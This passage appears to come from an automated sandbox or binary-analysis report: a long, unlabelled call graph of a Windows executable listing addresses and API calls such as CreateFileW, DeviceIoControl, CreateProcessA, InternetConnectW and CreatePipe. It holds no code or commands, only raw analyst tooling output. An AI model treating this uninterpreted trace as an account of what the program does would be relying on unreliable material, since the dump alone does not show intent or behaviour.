865930 28 API calls _MREFOpen@16 100855->100893 100859 8adeb6 100894 90858e RaiseException 100859->100894 100861 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 100862 8ade90 100861->100862 100862->100801 100863 8adec4 100863->100801 100865 8ac470 28 API calls 100864->100865 100866 8acbfd 100865->100866 100896 90966b RaiseException 6 library calls 100866->100896 100868 8acc5a 100869 8acd07 100868->100869 100874 8acc6b 100868->100874 100870 892330 _MREFOpen@16 28 API calls 100869->100870 100871 8acd14 100870->100871 100897 865930 28 API calls _MREFOpen@16 100871->100897 100873 8acd24 100898 90858e RaiseException 100873->100898 100877 8abd80 22 API calls 100874->100877 100876 8acd32 100899 8a3880 26 API calls messages 100876->100899 100880 8accc8 100877->100880 100879 8acd6f messages 100879->100807 100881 8ade10 30 API calls 100880->100881 100882 8accd7 100881->100882 100883 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 100882->100883 100884 8acd01 100883->100884 100884->100807 100886 8abdb0 100885->100886 100887 8f101a collate 22 API calls 100886->100887 100888 8abdc0 100887->100888 100888->100809 100890 8af18c 100889->100890 100891 8ade74 100889->100891 100890->100891 100895 8c86b0 24 API calls 3 library calls 100890->100895 100891->100861 100893->100859 100894->100863 100895->100891 100896->100868 100897->100873 100898->100876 100899->100879 100900->100762 100903 8ed32f 100902->100903 100904 8ed331 GetFileAttributesW 100902->100904 100903->100904 100905 8ed354 100904->100905 100906 8ed342 100904->100906 100927 8ed0c0 52 API calls __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 100905->100927 100926 8ed1c0 52 API calls 4 library calls 100906->100926 100909 8ed34c 100910 8ed435 100909->100910 100911 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 100910->100911 100913 864a32 100911->100913 100912 8ed35b 100912->100910 100912->100912 100914 8ed39d 100912->100914 100913->98072 100915 8973b0 SimpleUString::operator= 28 API calls 100914->100915 100916 8ed3ab CreateFileW 100915->100916 100917 8649c0 48 API calls 100916->100917 100918 8ed3e4 100917->100918 100919 8ed3f8 100918->100919 100920 8ed3e9 100918->100920 100929 8ecfe0 CreateFileW DeviceIoControl CloseHandle Concurrency::details::QuickBitSet::QuickBitSet 100919->100929 100928 8ed1c0 52 API calls 4 library calls 100920->100928 100923 8ed3fe 100924 8ed405 CloseHandle 100923->100924 100925 8ed421 CloseHandle 100923->100925 100924->100910 100925->100910 100926->100909 100927->100912 100928->100909 100929->100923 100933 89168c 100930->100933 100937 891746 messages _LStrxfrm 100930->100937 100931 8917e5 100951 89e330 28 API calls SimpleUString::operator= 100931->100951 100933->100931 100936 8916fb _LStrxfrm 100933->100936 100933->100937 100950 897ca0 28 API calls 2 library calls 100933->100950 100936->100937 100938 9158b2 messages 26 API calls 100936->100938 100937->99153 100938->100931 100940 8988c0 100939->100940 100944 898888 SimpleUString::operator= 100939->100944 100941 8988cf 100940->100941 100942 8989e3 100940->100942 100952 897ca0 28 API calls 2 library calls 100941->100952 100953 89e330 28 API calls SimpleUString::operator= 100942->100953 100944->99155 100946 9158b2 messages 26 API calls 100947 8989ed 100946->100947 100948 89891d _LStrxfrm 100948->100946 100949 898996 messages _LStrxfrm 100948->100949 100949->99155 100950->100936 100952->100948 100955 89c320 100954->100955 100956 89c215 100954->100956 100966 89e330 28 API calls SimpleUString::operator= 100955->100966 100958 89c25c 100956->100958 100959 89c286 100956->100959 100961 8f101a collate 22 API calls 100958->100961 100963 8f101a collate 22 API calls 100959->100963 100965 89c26d _LStrxfrm 100959->100965 100960 9158b2 messages 26 API calls 100962 89c32a 100960->100962 100961->100965 100963->100965 100964 89c2e2 messages _LStrxfrm 100964->99170 100965->100960 100965->100964 100967->99178 100968->99211 100970 89c048 100969->100970 100973 89bf4f Hash 100969->100973 100971 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 100970->100971 100972 89c05c 100971->100972 100972->99264 100973->100970 100974 89bf97 100973->100974 100978 89bfc4 100973->100978 100974->100970 100975 89c02d 100974->100975 100976 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 100975->100976 100977 89c044 100976->100977 100977->99264 100979 89c013 100978->100979 100981 89bff8 100978->100981 100980 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 100979->100980 100982 89c029 100980->100982 100983 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 100981->100983 100982->99264 100984 89c00f 100983->100984 100984->99264 100986 89a5d0 100985->100986 100986->100986 100987 891670 28 API calls 100986->100987 100988 89a5f4 100987->100988 100989 898860 28 API calls 100988->100989 100990 89a618 100989->100990 100991 898860 28 API calls 100990->100991 100992 869b26 100991->100992 100992->99295 101039->99326 101040->99336 101042 89817a 101041->101042 101043 8980dd 101041->101043 101044 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 101042->101044 101043->101042 101049 8980e7 101043->101049 101045 898187 101044->101045 101045->99305 101046 898168 101047 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 101046->101047 101048 898176 101047->101048 101048->99305 101049->101046 101050 898130 101049->101050 101051 898116 101049->101051 101053 898151 101050->101053 101056 916062 90 API calls 101050->101056 101051->101046 101052 89811b 101051->101052 101055 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 101052->101055 101054 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 101053->101054 101057 898164 101054->101057 101058 89812c 101055->101058 101059 89814a 101056->101059 101057->99305 101058->99305 101059->101046 101059->101053 101061 898210 101060->101061 101062 898237 101060->101062 101515 912237 26 API calls 2 library calls 101061->101515 101064 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 101062->101064 101065 8699fc 101064->101065 101065->99312 101066 863740 101065->101066 101067 863762 101066->101067 101068 86375a 101066->101068 101067->99312 101069 863772 101068->101069 101516 90858e RaiseException 101068->101516 101517 862550 66 API calls 2 library calls 101069->101517 101072 86379a 101518 863660 28 API calls 3 library calls 101072->101518 101074 8637a8 101519 90858e RaiseException 101074->101519 101076 8637b7 101078 894f72 101077->101078 101079 894fab 101078->101079 101080 8980c0 90 API calls 101078->101080 101082 894fb9 messages 101078->101082 101081 898190 26 API calls 101079->101081 101083 894fa3 101080->101083 101081->101082 101082->99319 101084 91252a Concurrency::details::_CancellationTokenState::_RegisterCallback 93 API calls 101083->101084 101084->101079 101085->99270 101086->99283 101515->101062 101516->101069 101517->101072 101518->101074 101519->101076 101520->99588 101521->99590 101522->99591 101524 89e759 SimpleUString::operator= _LStrxfrm 101523->101524 101525 89e7ea 101523->101525 101524->99599 101526 89e7fb 101525->101526 101527 89e8e0 101525->101527 101534 897ca0 28 API calls 2 library calls 101526->101534 101535 89e330 28 API calls SimpleUString::operator= 101527->101535 101530 9158b2 messages 26 API calls 101531 89e8ea 101530->101531 101532 89e83c _LStrxfrm 101532->101530 101533 89e8a2 messages _LStrxfrm 101532->101533 101533->99599 101534->101532 102037 927e31 102038 927e41 102037->102038 102039 927e59 102037->102039 102040 916133 __Stollx 20 API calls 102038->102040 102039->102038 102044 927e70 _strrchr 102039->102044 102041 927e46 102040->102041 102156 9158a2 26 API calls ___std_exception_copy 102041->102156 102043 927f21 _strrchr 102045 927f71 102043->102045 102046 927f47 102043->102046 102044->102043 102050 925478 __dosmaperr 20 API calls 102044->102050 102049 925478 __dosmaperr 20 API calls 102045->102049 102083 9275d1 102046->102083 102051 927f8b 102049->102051 102052 927ece 102050->102052 102057 922932 ___std_exception_copy 26 API calls 102051->102057 102058 927f93 102051->102058 102054 927ee7 102052->102054 102055 927ed9 102052->102055 102157 922932 102054->102157 102059 9254d5 _free 20 API calls 102055->102059 102056 9254d5 _free 20 API calls 102061 927e51 102056->102061 102062 927fa7 102057->102062 102063 9254d5 _free 20 API calls 102058->102063 102059->102061 102065 927fb2 102062->102065 102066 92803f 102062->102066 102081 927f67 102063->102081 102068 916133 __Stollx 20 API calls 102065->102068 102175 9158cf 11 API calls _abort 102066->102175 102071 927fc2 102068->102071 102070 92804b 102074 922932 ___std_exception_copy 26 API calls 102071->102074 102075 9275d1 33 API calls 102071->102075 102076 92800a 102071->102076 102077 927ffe 102071->102077 102073 9254d5 _free 20 API calls 102073->102043 102074->102071 102075->102071 102078 916133 __Stollx 20 API calls 102076->102078 102079 9254d5 _free 20 API calls 102077->102079 102080 92800f 102078->102080 102079->102081 102082 92804c 71 API calls 102080->102082 102081->102056 102082->102058 102084 9275eb 102083->102084 102085 9275dd 102083->102085 102177 932703 31 API calls 6 library calls 102084->102177 102176 927511 28 API calls 4 library calls 102085->102176 102088 9275fc 102090 927602 102088->102090 102178 927511 28 API calls 4 library calls 102088->102178 102089 9275e7 102089->102081 102093 92804c 102089->102093 102092 9254d5 _free 20 API calls 102090->102092 102092->102089 102094 928072 102093->102094 102095 92805a 102093->102095 102094->102095 102098 928088 102094->102098 102099 92807e 102094->102099 102096 916133 __Stollx 20 API calls 102095->102096 102097 92805f 102096->102097 102187 9158a2 26 API calls ___std_exception_copy 102097->102187 102179 932b43 102098->102179 102101 916120 __dosmaperr 20 API calls 102099->102101 102101->102095 102104 9280c6 102184 927e09 102104->102184 102105 9280af 102107 9254d5 _free 20 API calls 102105->102107 102109 9280b7 102107->102109 102112 9254d5 _free 20 API calls 102109->102112 102110 928100 102113 9254d5 _free 20 API calls 102110->102113 102111 928128 102116 916120 __dosmaperr 20 API calls 102111->102116 102114 92806a 102112->102114 102115 928108 102113->102115 102114->102081 102117 9254d5 _free 20 API calls 102115->102117 102118 928139 Hash 102116->102118 102119 928113 102117->102119 102120 92814a CreateProcessA 102118->102120 102121 9254d5 _free 20 API calls 102119->102121 102122 928187 GetLastError 102120->102122 102123 9281ac 102120->102123 102121->102114 102188 9160fd 20 API calls 2 library calls 102122->102188 102125 92826a 102123->102125 102126 9281b8 102123->102126 102189 911715 60 API calls _abort 102125->102189 102129 9281f2 102126->102129 102130 9281bc WaitForSingleObject GetExitCodeProcess 102126->102130 102127 928193 102133 928198 CloseHandle 102127->102133 102134 92819f 102127->102134 102131 928233 102129->102131 102132 9281f7 102129->102132 102136 9281e2 102130->102136 102137 9281db CloseHandle 102130->102137 102142 928237 CloseHandle 102131->102142 102143 92823e 102131->102143 102138 928202 102132->102138 102139 9281fb CloseHandle 102132->102139 102133->102134 102140 9281a3 CloseHandle 102134->102140 102141 9281ed 102134->102141 102135 928271 102136->102141 102144 9281e6 CloseHandle 102136->102144 102137->102136 102138->102141 102145 928206 CloseHandle 102138->102145 102139->102138 102140->102141 102146 9254d5 _free 20 API calls 102141->102146 102142->102143 102147 9254d5 _free 20 API calls 102143->102147 102144->102141 102145->102141 102149 928217 102146->102149 102148 928246 102147->102148 102150 9254d5 _free 20 API calls 102148->102150 102151 9254d5 _free 20 API calls 102149->102151 102152 928252 102150->102152 102153 928223 102151->102153 102154 9254d5 _free 20 API calls 102152->102154 102155 9254d5 _free 20 API calls 102153->102155 102154->102114 102155->102114 102156->102061 102158 92294d 102157->102158 102159 92293f 102157->102159 102160 916133 __Stollx 20 API calls 102158->102160 102159->102158 102164 922964 102159->102164 102161 922955 102160->102161 102232 9158a2 26 API calls ___std_exception_copy 102161->102232 102163 92295f 102163->102066 102166 927358 102163->102166 102164->102163 102165 916133 __Stollx 20 API calls 102164->102165 102165->102161 102167 927366 102166->102167 102168 927374 102166->102168 102167->102168 102173 92739d 102167->102173 102169 916133 __Stollx 20 API calls 102168->102169 102170 92737c 102169->102170 102233 9158a2 26 API calls ___std_exception_copy 102170->102233 102172 927386 102172->102066 102172->102073 102173->102172 102174 916133 __Stollx 20 API calls 102173->102174 102174->102170 102175->102070 102176->102089 102177->102088 102178->102090 102190 9327ca 102179->102190 102182 9254d5 _free 20 API calls 102183 9280a5 102182->102183 102183->102104 102183->102105 102208 927db8 102184->102208 102186 927e2d 102186->102110 102186->102111 102187->102114 102188->102127 102189->102135 102192 9327e6 102190->102192 102191 925478 __dosmaperr 20 API calls 102193 932814 102191->102193 102192->102191 102194 93281c 102193->102194 102200 932830 102193->102200 102206 9160fd 20 API calls 2 library calls 102194->102206 102196 932829 102201 9254d5 _free 20 API calls 102196->102201 102197 932823 102199 916133 __Stollx 20 API calls 102197->102199 102198 922932 ___std_exception_copy 26 API calls 102198->102200 102199->102196 102200->102196 102200->102198 102202 932885 102200->102202 102203 93287b 102201->102203 102207 9158cf 11 API calls _abort 102202->102207 102203->102182 102205 932891 102206->102197 102207->102205 102209 927dc4 ___unDNameEx 102208->102209 102216 91c98b EnterCriticalSection 102209->102216 102211 927dd2 102217 928272 102211->102217 102215 927df0 std::_Locinfo::_Locinfo_ctor 102215->102186 102216->102211 102218 92829b 102217->102218 102219 9282c7 102218->102219 102220 9282d9 102218->102220 102221 916133 __Stollx 20 API calls 102219->102221 102222 925478 __dosmaperr 20 API calls 102220->102222 102227 927ddf 102221->102227 102223 9282ed 102222->102223 102224 916133 __Stollx 20 API calls 102223->102224 102226 9282fb 102223->102226 102224->102226 102225 9254d5 _free 20 API calls 102225->102227 102226->102225 102228 927dfd 102227->102228 102231 91c9d3 LeaveCriticalSection 102228->102231 102230 927e07 102230->102215 102231->102230 102232->102163 102233->102172 102234 915902 102258 9272ba 102234->102258 102237 91593e 102239 915942 102237->102239 102240 91595f 102237->102240 102238 9159f7 102261 9158cf 11 API calls _abort 102238->102261 102242 915954 102239->102242 102244 9275d1 33 API calls 102239->102244 102240->102242 102245 916133 __Stollx 20 API calls 102240->102245 102246 9254d5 _free 20 API calls 102242->102246 102243 915a01 102244->102242 102247 91597b 102245->102247 102248 9159e3 102246->102248 102249 916133 __Stollx 20 API calls 102247->102249 102250 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 102248->102250 102252 915982 102249->102252 102251 9159f3 102250->102251 102253 916133 __Stollx 20 API calls 102252->102253 102254 91599c 102253->102254 102254->102242 102255 9159b1 102254->102255 102256 916133 __Stollx 20 API calls 102254->102256 102255->102242 102257 916133 __Stollx 20 API calls 102255->102257 102256->102255 102257->102242 102262 92704d 102258->102262 102260 91592e 102260->102237 102260->102238 102261->102243 102263 927059 ___unDNameEx 102262->102263 102270 91c98b EnterCriticalSection 102263->102270 102265 927064 102271 9270a8 102265->102271 102269 927094 std::_Locinfo::_Locinfo_ctor 102269->102260 102270->102265 102272 9270b7 102271->102272 102273 9270ca 102271->102273 102274 916133 __Stollx 20 API calls 102272->102274 102273->102272 102276 9270dd 102273->102276 102275 9270bc 102274->102275 102292 9158a2 26 API calls ___std_exception_copy 102275->102292 102293 92714d 77 API calls 102276->102293 102279 927080 102289 92709f 102279->102289 102280 9270e6 __Getctype 102280->102279 102281 927111 102280->102281 102282 927124 102280->102282 102283 916133 __Stollx 20 API calls 102281->102283 102284 922932 ___std_exception_copy 26 API calls 102282->102284 102283->102279 102285 92712f 102284->102285 102285->102279 102286 927140 102285->102286 102294 9158cf 11 API calls _abort 102286->102294 102288 92714c 102295 91c9d3 LeaveCriticalSection 102289->102295 102291 9270a6 102291->102269 102292->102279 102293->102280 102294->102288 102295->102291 102296 927a65 102297 927a72 102296->102297 102302 927a8a 102296->102302 102298 916133 __Stollx 20 API calls 102297->102298 102299 927a77 102298->102299 102346 9158a2 26 API calls ___std_exception_copy 102299->102346 102301 927ae5 102303 923e14 __fread_nolock 26 API calls 102301->102303 102302->102301 102310 927a82 102302->102310 102347 9262a6 102302->102347 102305 927afd 102303->102305 102316 9290ff 102305->102316 102307 927b04 102308 923e14 __fread_nolock 26 API calls 102307->102308 102307->102310 102309 927b30 102308->102309 102309->102310 102311 923e14 __fread_nolock 26 API calls 102309->102311 102312 927b3e 102311->102312 102312->102310 102313 923e14 __fread_nolock 26 API calls 102312->102313 102314 927b4e 102313->102314 102315 923e14 __fread_nolock 26 API calls 102314->102315 102315->102310 102317 92910b ___unDNameEx 102316->102317 102318 929113 102317->102318 102319 92912b 102317->102319 102321 916120 __dosmaperr 20 API calls 102318->102321 102320 9291f1 102319->102320 102325 929164 102319->102325 102323 916120 __dosmaperr 20 API calls 102320->102323 102322 929118 102321->102322 102324 916133 __Stollx 20 API calls 102322->102324 102326 9291f6 102323->102326 102336 929120 std::_Locinfo::_Locinfo_ctor 102324->102336 102327 929173 102325->102327 102328 929188 102325->102328 102329 916133 __Stollx 20 API calls 102326->102329 102330 916120 __dosmaperr 20 API calls 102327->102330 102352 92d314 EnterCriticalSection 102328->102352 102332 929180 102329->102332 102333 929178 102330->102333 102419 9158a2 26 API calls ___std_exception_copy 102332->102419 102337 916133 __Stollx 20 API calls 102333->102337 102334 92918e 102338 9291aa 102334->102338 102339 9291bf 102334->102339 102336->102307 102337->102332 102340 916133 __Stollx 20 API calls 102338->102340 102353 929212 102339->102353 102342 9291af 102340->102342 102344 916120 __dosmaperr 20 API calls 102342->102344 102343 9291ba 102418 9291e9 LeaveCriticalSection __wsopen_s 102343->102418 102344->102343 102346->102310 102348 926303 std::_Locinfo::_W_Getdays 21 API calls 102347->102348 102349 9262c1 102348->102349 102350 9254d5 _free 20 API calls 102349->102350 102351 9262cb 102350->102351 102351->102301 102352->102334 102354 929224 102353->102354 102355 92923c 102353->102355 102356 916120 __dosmaperr 20 API calls 102354->102356 102357 9295a6 102355->102357 102367 929281 102355->102367 102358 929229 102356->102358 102359 916120 __dosmaperr 20 API calls 102357->102359 102360 916133 __Stollx 20 API calls 102358->102360 102361 9295ab 102359->102361 102362 929231 102360->102362 102363 916133 __Stollx 20 API calls 102361->102363 102362->102343 102368 929299 102363->102368 102364 92928c 102365 916120 __dosmaperr 20 API calls 102364->102365 102366 929291 102365->102366 102369 916133 __Stollx 20 API calls 102366->102369 102367->102362 102367->102364 102370 9292bc 102367->102370 102424 9158a2 26 API calls ___std_exception_copy 102368->102424 102369->102368 102372 9292d5 102370->102372 102373 929317 102370->102373 102374 9292fb 102370->102374 102372->102374 102378 9292e2 102372->102378 102376 926303 std::_Locinfo::_W_Getdays 21 API calls 102373->102376 102375 916120 __dosmaperr 20 API calls 102374->102375 102377 929300 102375->102377 102379 92932e 102376->102379 102381 916133 __Stollx 20 API calls 102377->102381 102380 9303b7 __fread_nolock 26 API calls 102378->102380 102384 9254d5 _free 20 API calls 102379->102384 102382 929480 102380->102382 102383 929307 102381->102383 102385 9294f6 102382->102385 102388 929499 GetConsoleMode 102382->102388 102420 9158a2 26 API calls ___std_exception_copy 102383->102420 102387 929337 102384->102387 102390 9294fa ReadFile 102385->102390 102389 9254d5 _free 20 API calls 102387->102389 102388->102385 102393 9294aa 102388->102393 102394 92933e 102389->102394 102391 929514 102390->102391 102392 92956e GetLastError 102390->102392 102391->102392 102397 9294eb 102391->102397 102395 9294d2 102392->102395 102396 92957b 102392->102396 102393->102390 102398 9294b0 ReadConsoleW 102393->102398 102399 929363 102394->102399 102400 929348 102394->102400 102415 929312 __fread_nolock 102395->102415 102421 9160fd 20 API calls 2 library calls 102395->102421 102401 916133 __Stollx 20 API calls 102396->102401 102410 929550 102397->102410 102411 929539 102397->102411 102397->102415 102398->102397 102403 9294cc GetLastError 102398->102403 102402 929765 __fread_nolock 28 API calls 102399->102402 102405 916133 __Stollx 20 API calls 102400->102405 102406 929580 102401->102406 102402->102378 102403->102395 102404 9254d5 _free 20 API calls 102404->102362 102408 92934d 102405->102408 102409 916120 __dosmaperr 20 API calls 102406->102409 102412 916120 __dosmaperr 20 API calls 102408->102412 102409->102415 102414 929567 102410->102414 102410->102415 102422 928f2e 31 API calls 3 library calls 102411->102422 102412->102415 102423 928d6e 29 API calls __fread_nolock 102414->102423 102415->102404 102417 92956c 102417->102415 102418->102336 102419->102336 102420->102415 102421->102415 102422->102415 102423->102417 102424->102362 102425 876b20 102441 8970e0 28 API calls 3 library calls 102425->102441 102427 876b3f 102427->102425 102432 876b45 102427->102432 102428 876bc1 InternetConnectW 102429 876bf2 102428->102429 102430 891f60 collate 28 API calls 102429->102430 102435 876a9d messages 102430->102435 102432->102428 102433 876bb5 102432->102433 102442 8970e0 28 API calls 3 library calls 102432->102442 102433->102428 102434 8771bd 102436 9158b2 messages 26 API calls 102434->102436 102435->102434 102437 876aeb messages 102435->102437 102439 8771c2 102436->102439 102438 8f0d3b __ehhandler$?_StructuredChoreWrapper@_UnrealizedChore@details@Concurrency@@CAXPAV123@@Z 5 API calls 102437->102438 102440 876ea2 102438->102440 102441->102427 102442->102432 102443 9252ea 102448 925021 102443->102448 102446 925312 102449 925052 try_get_first_available_module 102448->102449 102459 92519b 102449->102459 102463 93040d 66 API calls 2 library calls 102449->102463 102450 916133 __Stollx 20 API calls 102451 925251 102450->102451 102466 9158a2 26 API calls ___std_exception_copy 102451->102466 102453 9251a6 102453->102446 102460 931129 102453->102460 102455 9251ef 102455->102459 102464 93040d 66 API calls 2 library calls 102455->102464 102457 92520e 102457->102459 102465 93040d 66 API calls 2 library calls 102457->102465 102459->102450 102459->102453 102467 9307b5 102460->102467 102462 931144 102462->102446 102463->102455 102464->102457 102465->102459 102466->102453 102470 9307c1 ___unDNameEx 102467->102470 102468 9307cf 102469 916133 __Stollx 20 API calls 102468->102469 102471 9307d4 102469->102471 102470->102468 102472 930808 102470->102472 102525 9158a2 26 API calls ___std_exception_copy 102471->102525 102478 930e00 102472->102478 102477 9307de std::_Locinfo::_Locinfo_ctor 102477->102462 102527 930b63 102478->102527 102481 930e32 102484 916120 __dosmaperr 20 API calls 102481->102484 102482 930e4b 102545 92d3ee 102482->102545 102485 930e37 102484->102485 102489 916133 __Stollx 20 API calls 102485->102489 102486 930e50 102487 930e70 102486->102487 102488 930e59 102486->102488 102558 930ace CreateFileW 102487->102558 102490 916120 __dosmaperr 20 API calls 102488->102490 102516 93082c 102489->102516 102492 930e5e 102490->102492 102493 916133 __Stollx 20 API calls 102492->102493 102493->102485 102494 930f26 GetFileType 102496 930f31 GetLastError 102494->102496 102497 930f78 102494->102497 102495 930efb GetLastError 102584 9160fd 20 API calls 2 library calls 102495->102584 102585 9160fd 20 API calls 2 library calls 102496->102585 102559 92d337 102497->102559 102498 930ea9 102498->102494 102498->102495 102583 930ace CreateFileW 102498->102583 102502 930f3f CloseHandle 102502->102485 102505 930f68 102502->102505 102504 930eee 102504->102494 102504->102495 102506 916133 __Stollx 20 API calls 102505->102506 102509 930f6d 102506->102509 102508 930fe5 102513 931012 102508->102513 102586 930881 97 API calls 4 library calls 102508->102586 102509->102485 102512 93100b 102512->102513 102514 931023 102512->102514 102515 9260cc __wsopen_s 29 API calls 102513->102515 102514->102516 102517 9310a1 CloseHandle 102514->102517 102515->102516 102526 930855 LeaveCriticalSection __wsopen_s 102516->102526 102587 930ace CreateFileW 102517->102587 102519 9310cc 102520 9310d6 GetLastError 102519->102520 102521 931102 102519->102521 102588 9160fd 20 API calls 2 library calls 102520->102588 102521->102516 102523 9310e2 102589 92d500 21 API calls 3 library calls 102523->102589 102525->102477 102526->102477 102528 930b84 102527->102528 102529 930b9e 102527->102529 102528->102529 102531 916133 __Stollx 20 API calls 102528->102531 102590 930af3 102529->102590 102532 930b93 102531->102532 102597 9158a2 26 API calls ___std_exception_copy 102532->102597 102534 930bd6 102535 930c05 102534->102535 102537 916133 __Stollx 20 API calls 102534->102537 102538 930c58 102535->102538 102599 920bea 26 API calls 2 library calls 102535->102599 102540 930bfa 102537->102540 102538->102481 102538->102482 102539 930c53 102539->102538 102541 930cd2 102539->102541 102598 9158a2 26 API calls ___std_exception_copy 102540->102598 102600 9158cf 11 API calls _abort 102541->102600 102544 930cde 102546 92d3fa ___unDNameEx 102545->102546 102602 91c98b EnterCriticalSection 102546->102602 102548 92d401 102550 92d426 102548->102550 102554 92d494 EnterCriticalSection 102548->102554 102556 92d448 102548->102556 102606 92d1cd 21 API calls 3 library calls 102550->102606 102551 92d471 std::_Locinfo::_Locinfo_ctor 102551->102486 102553 92d42b 102553->102556 102607 92d314 EnterCriticalSection 102553->102607 102554->102556 102557 92d4a1 LeaveCriticalSection 102554->102557 102603 92d4f7 102556->102603 102557->102548 102558->102498 102560 92d346 102559->102560 102561 92d3af 102559->102561 102560->102561 102564 92d36c __wsopen_s 102560->102564 102562 916133 __Stollx 20 API calls 102561->102562 102563 92d3b4 102562->102563 102565 916120 __dosmaperr 20 API calls 102563->102565 102566 92d39c 102564->102566 102567 92d396 SetStdHandle 102564->102567 102565->102566 102566->102508 102568 930cdf 102566->102568 102567->102566 102569 930d05 102568->102569 102570 930d09 102568->102570 102569->102508 102570->102569 102571 929765 __fread_nolock 28 API calls 102570->102571 102572 930d1b 102571->102572 102573 930d41 102572->102573 102574 930d2b 102572->102574 102575 929212 __fread_nolock 38 API calls 102573->102575 102576 916120 __dosmaperr 20 API calls 102574->102576 102578 930d53 102575->102578 102582 930d30 102576->102582 102577 930d69 102579 929765 __fread_nolock 28 API calls 102577->102579 102577->102582 102578->102577 102609 933bb1 88 API calls 5 library calls 102578->102609 102579->102582 102580 916133 __Stollx 20 API calls 102580->102569 102582->102569 102582->102580 102583->102504 102584->102485 102585->102502 102586->102512 102587->102519 102588->102523 102589->102521 102591 930b0b 102590->102591 102592 930b26 102591->102592 102593 916133 __Stollx 20 API calls 102591->102593 102592->102534 102594 930b4a 102593->102594 102601 9158a2 26 API calls ___std_exception_copy 102594->102601 102596 930b55 102596->102534 102597->102529 102598->102535 102599->102539 102600->102544 102601->102596 102602->102548 102608 91c9d3 LeaveCriticalSection 102603->102608 102605 92d4fe 102605->102551 102606->102553 102607->102556 102608->102605 102609->102577 102610 923e3a 102611 923e14 __fread_nolock 26 API calls 102610->102611 102612 923e48 102611->102612 102613 923e56 102612->102613 102614 923e75 102612->102614 102615 916133 __Stollx 20 API calls 102613->102615 102616 923e82 102614->102616 102621 923e8f 102614->102621 102620 923e5b 102615->102620 102617 916133 __Stollx 20 API calls 102616->102617 102617->102620 102618 923f1f 102625 924060 102618->102625 102621->102618 102621->102620 102622 9303b7 __fread_nolock 26 API calls 102621->102622 102623 923f12 102621->102623 102622->102623 102623->102618 102624 9262a6 21 API calls 102623->102624 102624->102618 102626 923e14 __fread_nolock 26 API calls 102625->102626 102627 92406f 102626->102627 102628 924113 102627->102628 102629 924081 102627->102629 102630 925cac __wsopen_s 88 API calls 102628->102630 102631 92409e 102629->102631 102634 9240c4 102629->102634 102632 9240ab 102630->102632 102633 925cac __wsopen_s 88 API calls 102631->102633 102632->102620 102633->102632 102634->102632 102636 92974a 102634->102636 102639 9295c7 102636->102639 102638 929760 102638->102632 102640 9295d3 ___unDNameEx 102639->102640 102641 9295db 102640->102641 102644 9295f3 102640->102644 102642 916120 __dosmaperr 20 API calls 102641->102642 102645 9295e0 102642->102645 102643 9296a7 102646 916120 __dosmaperr 20 API calls 102643->102646 102644->102643 102648 92962b 102644->102648 102649 916133 __Stollx 20 API calls 102645->102649 102647 9296ac 102646->102647 102650 916133 __Stollx 20 API calls 102647->102650 102664 92d314 EnterCriticalSection 102648->102664 102658 9295e8 std::_Locinfo::_Locinfo_ctor 102649->102658 102652 9296b4 102650->102652 102666 9158a2 26 API calls ___std_exception_copy 102652->102666 102653 929631 102655 929655 102653->102655 102656 92966a 102653->102656 102657 916133 __Stollx 20 API calls 102655->102657 102659 9296cc __fread_nolock 28 API calls 102656->102659 102660 92965a 102657->102660 102658->102638 102661 929665 102659->102661 102662 916120 __dosmaperr 20 API calls 102660->102662 102665 92969f LeaveCriticalSection __wsopen_s 102661->102665 102662->102661 102664->102653 102665->102658 102666->102658 102667 914e8a 102668 914e96 ___unDNameEx 102667->102668 102669 914ea2 102668->102669 102670 914ec5 102668->102670 102671 916133 __Stollx 20 API calls 102669->102671 102690 9151f5 102670->102690 102673 914ea7 102671->102673 102797 9158a2 26 API calls ___std_exception_copy 102673->102797 102676 914eb2 std::_Locinfo::_Locinfo_ctor 102678 914f0f 102678->102676 102759 91c98b EnterCriticalSection 102678->102759 102680 914f3e 102681 916133 __Stollx 20 API calls 102680->102681 102682 914f48 102681->102682 102760 914fb2 GetCurrentProcess DuplicateHandle 102682->102760 102685 916133 __Stollx 20 API calls 102686 914f68 102685->102686 102687 914f92 102686->102687 102689 92604d Concurrency::details::_CancellationTokenState::_RegisterCallback 31 API calls 102686->102689 102798 914fa9 LeaveCriticalSection std::_Lockit::~_Lockit 102687->102798 102689->102686 102694 91520b 102690->102694 102691 916133 __Stollx 20 API calls 102693 915220 102691->102693 102692 914ed1 102692->102676 102696 927626 102692->102696 102799 9158a2 26 API calls ___std_exception_copy 102693->102799 102694->102691 102694->102692 102697 927632 ___unDNameEx 102696->102697 102698 927640 102697->102698 102699 927661 102697->102699 102700 916120 __dosmaperr 20 API calls 102698->102700 102701 92767c 102699->102701 102703 9276ac CreatePipe 102699->102703 102702 927645 102700->102702 102704 916120 __dosmaperr 20 API calls 102701->102704 102706 916133 __Stollx 20 API calls 102702->102706 102707 9276de GetLastError 102703->102707 102708 9276ed 102703->102708 102705 927681 102704->102705 102709 916133 __Stollx 20 API calls 102705->102709 102710 92764d 102706->102710 102802 9160fd 20 API calls 